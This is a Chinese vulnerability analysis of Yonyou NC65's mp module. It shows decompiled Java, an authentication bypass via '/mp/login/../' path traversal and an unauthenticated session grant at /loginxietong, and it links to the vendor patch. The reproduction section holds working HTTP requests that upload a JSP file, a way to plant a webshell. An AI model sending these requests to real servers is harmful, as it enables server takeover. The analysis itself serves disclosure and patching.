用友NC mp模块文件上传漏洞分析
2023-12-11 17:41:43 Author: xz.aliyun.com(查看原文) 阅读量:55 收藏

漏洞描述

通过mp模块进行任意文件上传,从而上传webshell实现控制服务器。

影响版本

用友NC65

漏洞分析

配置文件hotwebs/mp/WEB-INF/spring-mvc.xml

拦截器

<mvc:interceptors>
    <mvc:interceptor>
        <mvc:mapping path="/**" />
        <bean id="loginInterceptor" class="com.yonyou.uap.mp.interceptor.LoginInterceptor" />
    </mvc:interceptor>
</mvc:interceptors>

在 \hotwebs\mp\WEB-INF\lib\uap.mp.core-0.1.0.jar

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    HttpSession session = request.getSession();
    Object logined = session.getAttribute("user_logined");
    String url = request.getRequestURL().toString();
    if (!url.endsWith("mp/") && !url.endsWith("mp")) {
        if (url.endsWith("index.html")) {
            if (logined == null) {
                response.sendRedirect(request.getContextPath() + "/login.html");
                return false;
            } else {
                return true;
            }
        } else if (!(handler instanceof HandlerMethod)) {
            return true;
        } else {
            HandlerMethod handler2 = (HandlerMethod)handler;
            ResponseBody json = (ResponseBody)handler2.getMethodAnnotation(ResponseBody.class);
            String msg = "";
            boolean flag = false;
            logger.info(">>>: " + url);
            String[] arr$ = IGNORE_URI;
            int len$ = arr$.length;

            for(int i$ = 0; i$ < len$; ++i$) {
                String s = arr$[i$];
                if (url.contains(s)) {
                    flag = true;
                    break;
                }
            }

            if (!flag) {
                msg = this.autoLogin(request);
                if (logined == null) {
                    msg = StringUtils.isNotEmpty(msg) ? msg : "<a href='/mp/logout' class='tips_login'>您未登录或长时间未操作,请先登录<a/>";
                    if (null == json) {
                        if (url.indexOf("indexforportal") >= 0) {
                            response.sendRedirect("/mp?indexforportallogin=portallogin");
                        } else {
                            response.sendRedirect("/mp");
                        }
                    } else {
                        MPUtils.sendResponseMsg(response, false, msg);
                    }
                } else {
                    flag = true;
                }
            }

            return flag;
        }
    } else if (logined == null) {
        response.sendRedirect(request.getContextPath() + "/login.html");
        return false;
    } else {
        return true;
    }
}

首先通过request.getRequestURL().toString()拿到 url路径(不带参数),如果url不是以mp/mp结尾,进入if,

if (url.endsWith("index.html"))判断是否登录,登陆状态不拦截,否则拦截。

else if (!(handler instanceof HandlerMethod)) HandlerMethod是 Spring MVC 中用于表示控制器方法的类,如果请求的不是一个控制器方法,那么放行。正常来说我们请求接口是某个特定的控制器,所以一般在未登录状态下,请求后端接口时,会进入else循环,

HandlerMethod handler2 = (HandlerMethod)handler;
ResponseBody json = (ResponseBody)handler2.getMethodAnnotation(ResponseBody.class);

尝试从该方法上获取 @ResponseBody 注解的信息。如果方法上存在 @ResponseBody 注解,它将返回 @ResponseBody 注解的实例,否则将返回 null。比如说 json形式。

private static final String[] IGNORE_URI = new String[]{"/initcfg", "/login", "/index", "/automsg", "/loginxietong", "/loginportal", "/signportal", "/loginportaldetail", "/loginportalmobile"};

接下来在url.contains(s)会判断url中是否存在IGNORE_URI中的内容,如果包含,将flag 设置为 true,跳过 if (!flag) 最终放行 return flag;

那么我们如果构造 url /mp/login/../xxxx(假设xxx为某控制器方法),在tomcat处理中会将url 处理为 /mp/xxxx,而request.getRequestURL()request.getRequestURI(),这些危险字符并不会自动剔除掉,这里又符合 上边的流程导致鉴权被绕过。当然 login 可换成 IGNORE_URI数组中的任意内容

后续在控制器方法中找到 UploadFileServlet::doPost,恰好可上传任意文件

也可以配合/mp/loginxietong?username=admin直接获取session,然后利用拿到的凭据通过鉴权。

@ResponseBody
@RequestMapping(
    value = {"/loginxietong"},
    method = {RequestMethod.GET}
)
public ModelAndView login(@RequestParam("username") String username, HttpServletRequest request) {
    HttpSession session = request.getSession();
    SessionUser user = new SessionUser();
    user.setUserCode(username);
    user.setAdmin(false);
    user.setName(username);
    session.setAttribute("user_logined", user);
    logger.info("协同用户登录===>" + username);
    return new ModelAndView("redirect:/indexforxietong.html");
}

漏洞复现

绕过鉴权

POST /mp/login/../uploadControl/uploadFile HTTP/1.1
Host: host
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Length: 314

------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream

test content
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp

路径是 `/mp/uploadFileDir/test.jsp

另一种方法:

先获取 cookie:url+/mp/loginxietong?username=admin

POST /mp/uploadControl/uploadFile HTTP/1.1
Host: host
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0884AE37CCD3416B96C5546D03E67F10.server; mp_name=admin;JSESSIONID=F5E62B60F069DA492605F276E527A71C.server
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Length: 314

------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream

test content
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp

漏洞修复

打相关补丁即可。
https://security.yonyou.com/#/noticeInfo?id=342


文章来源: https://xz.aliyun.com/t/13171
如有侵权请联系:admin#unsafe.sh